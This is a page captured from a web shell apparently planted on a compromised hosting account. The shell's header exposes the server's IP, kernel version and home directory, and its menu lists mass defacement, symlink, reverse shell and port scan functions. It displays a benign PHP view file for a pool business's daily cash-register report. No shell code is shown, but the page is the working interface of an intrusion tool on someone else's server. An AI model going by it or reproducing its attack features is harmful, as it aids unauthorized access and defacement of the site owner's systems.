Tul xxx Tul
User / IP
:
216.73.217.33
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
piscina
/
app
/
views
/
caja
/
Viewing: cierre.php
<!-- Mobile-optimized Cierre Diario CSS --> <style> body { overflow-x: hidden; } .caja-cierre { max-width: 100%; overflow-x: hidden; } .card, .card-body, .row, .col { max-width: 100%; } .movimiento-cierre-card { border-radius: 12px; transition: all 0.3s ease; border: 1px solid rgba(0,0,0,0.08); max-width: 100%; margin-bottom: 0.75rem; } .movimiento-cierre-card:active { transform: scale(0.98); } @media (max-width: 767.98px) { html, body { max-width: 100vw; overflow-x: hidden; } .container-fluid { padding-left: 0.75rem !important; padding-right: 0.75rem !important; } .caja-cierre { padding: 1rem 0 !important; } .caja-cierre h1 { font-size: 1.15rem; } .caja-cierre h5 { font-size: 1.05rem; } .card-body { padding: 1rem !important; } .btn { font-size: 0.85rem; } .badge { font-size: 0.7rem; } .alert { font-size: 0.85rem; padding: 0.75rem; } .row { margin-left: -0.375rem; margin-right: -0.375rem; } .row > * { padding-left: 0.375rem; padding-right: 0.375rem; } } @media (max-width: 575.98px) { .caja-cierre h1 { font-size: 1.05rem; } .btn { font-size: 0.8rem; } } </style> <div class="caja-cierre container-fluid py-4"> <?php if (!empty($mensaje)): ?> <div class="alert alert-<?php echo htmlspecialchars($mensaje['tipo']); ?> border-0 shadow-sm mb-4"> <i class="fa-solid fa-circle-info me-2"></i><?php echo htmlspecialchars($mensaje['mensaje']); ?> </div> <?php endif; ?> <div class="row g-2 g-md-3 mb-3 mb-md-4"> <div class="col-12 col-xl-4"> <div class="card border-0 shadow-sm h-100"> <div class="card-body p-3 p-md-4"> <span class="badge bg-primary-subtle text-primary mb-2 small">Resumen diario</span> <h1 class="h4 fw-bold mb-3">Caja del <?php echo date('d/m/Y', strtotime($fecha)); ?></h1> <ul class="list-unstyled mb-4"> <li class="d-flex justify-content-between py-2 border-bottom"> <span class="text-muted">Ingresos</span> <span class="fw-semibold text-success">$<?php echo number_format($resumen['ingresos'], 0); ?></span> </li> <li class="d-flex justify-content-between py-2 border-bottom"> <span class="text-muted">Egresos</span> <span class="fw-semibold text-danger">$<?php echo number_format($resumen['egresos'], 0); ?></span> </li> <li class="d-flex justify-content-between py-2"> <span class="fw-semibold">Balance</span> <span class="fw-bold fs-5">$<?php echo number_format($resumen['balance'], 0); ?></span> </li> </ul> <div class="d-grid gap-2"> <div class="alert alert-info border-0 mb-0"> <i class="fa-solid fa-circle-info me-1"></i> La caja se cierra y abre automáticamente al cambiar de día. Puedes regresar al panel para continuar gestionando movimientos. </div> <a class="btn btn-outline-secondary" href="<?php echo base_url('caja'); ?>">Volver al panel</a> </div> </div> </div> </div> <div class="col-12 col-xl-8"> <div class="card border-0 shadow-sm h-100"> <div class="card-body p-3 p-md-4"> <div class="d-flex flex-column flex-sm-row justify-content-between align-items-start align-items-sm-center gap-2 mb-3"> <div> <h5 class="card-title mb-0">Movimientos del día</h5> <small class="text-muted">Listado completo de ingresos y egresos del <?php echo date('d/m/Y', strtotime($fecha)); ?></small> </div> <div> <span class="badge bg-light text-muted border">Total: <?php echo count($movimientos); ?></span> </div> </div> <!-- Mobile View: Cards --> <div class="d-md-none"> <?php if (empty($movimientos)): ?> <div class="alert alert-info d-flex align-items-center" role="alert"> <i class="fa-solid fa-info-circle fa-2x me-3"></i> <div> <h6 class="alert-heading mb-1">Sin movimientos</h6> <p class="mb-0 small">Sin movimientos registrados para el día.</p> </div> </div> <?php else: ?> <?php $totalMovimientos = count($movimientos); ?> <?php foreach ($movimientos as $index => $movimiento): ?> <?php $infoMetodo = \App\Models\Caja::metodoInfo($movimiento['metodo']); ?> <div class="card border movimiento-cierre-card shadow-sm <?php echo $movimiento['tipo'] === 'Ingreso' ? 'border-success' : 'border-danger'; ?>"> <div class="card-body p-3"> <div class="d-flex justify-content-between align-items-start mb-2"> <div class="flex-grow-1"> <div class="d-flex align-items-center gap-2 mb-1"> <span class="badge <?php echo $movimiento['tipo'] === 'Ingreso' ? 'bg-success-subtle text-success' : 'bg-danger-subtle text-danger'; ?> small"> <?php echo htmlspecialchars($movimiento['tipo']); ?> </span> <span class="fw-bold">#<?php echo $totalMovimientos - $index; ?></span> </div> <h6 class="fw-bold mb-1"><?php echo htmlspecialchars($movimiento['concepto']); ?></h6> <?php if (!empty($movimiento['cliente'])): ?> <p class="text-muted mb-0 small">Cliente: <?php echo htmlspecialchars($movimiento['cliente']); ?></p> <?php endif; ?> </div> </div> <div class="border-top pt-2 mt-2"> <div class="row g-2 small"> <div class="col-6"> <div class="text-muted">Método</div> <div class="fw-semibold"> <i class="<?php echo $infoMetodo['icono']; ?> me-1 <?php echo $infoMetodo['clase']; ?>"></i> <?php echo htmlspecialchars($movimiento['metodo']); ?> </div> </div> <div class="col-6"> <div class="text-muted">Hora</div> <div class="fw-semibold"><?php echo htmlspecialchars($movimiento['hora']); ?></div> </div> <div class="col-12 border-top pt-2"> <div class="d-flex justify-content-between align-items-center"> <span class="text-muted">Monto</span> <span class="fw-bold <?php echo $movimiento['tipo'] === 'Ingreso' ? 'text-success' : 'text-danger'; ?> fs-5">$<?php echo number_format($movimiento['monto'], 0); ?></span> </div> </div> </div> </div> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> <!-- Desktop View: Table --> <div class="table-responsive d-none d-md-block"> <table class="table align-middle table-hover mb-0"> <thead class="table-light"> <tr> <th>Número</th> <th>Concepto</th> <th>Tipo</th> <th>Método</th> <th class="text-end">Monto</th> <th class="text-end">Hora</th> </tr> </thead> <tbody> <?php if (empty($movimientos)): ?> <tr> <td colspan="6" class="text-center text-muted py-5">Sin movimientos registrados para el día.</td> </tr> <?php else: ?> <?php $totalMovimientos = count($movimientos); ?> <?php foreach ($movimientos as $index => $movimiento): ?> <?php $infoMetodo = \App\Models\Caja::metodoInfo($movimiento['metodo']); ?> <tr class="table-<?php echo $movimiento['tipo'] === 'Ingreso' ? 'success' : 'danger'; ?>-subtle"> <td class="fw-semibold"><?php echo $totalMovimientos - $index; ?></td> <td> <div class="fw-semibold"><?php echo htmlspecialchars($movimiento['concepto']); ?></div> <?php if (!empty($movimiento['cliente'])): ?> <small class="text-muted">Cliente/Responsable: <?php echo htmlspecialchars($movimiento['cliente']); ?></small> <?php endif; ?> </td> <td><span class="badge <?php echo $movimiento['tipo'] === 'Ingreso' ? 'bg-success-subtle text-success' : 'bg-danger-subtle text-danger'; ?>"><?php echo htmlspecialchars($movimiento['tipo']); ?></span></td> <td class="text-nowrap"> <i class="<?php echo $infoMetodo['icono']; ?> me-1 <?php echo $infoMetodo['clase']; ?>"></i><?php echo htmlspecialchars($movimiento['metodo']); ?> </td> <td class="text-end fw-semibold">$<?php echo number_format($movimiento['monto'], 0); ?></td> <td class="text-end text-muted"><?php echo htmlspecialchars($movimiento['hora']); ?></td> </tr> <?php endforeach; ?> <?php endif; ?> </tbody> </table> </div> </div> </div> </div> </div> </div>
Coded With 💗 by
0x6ick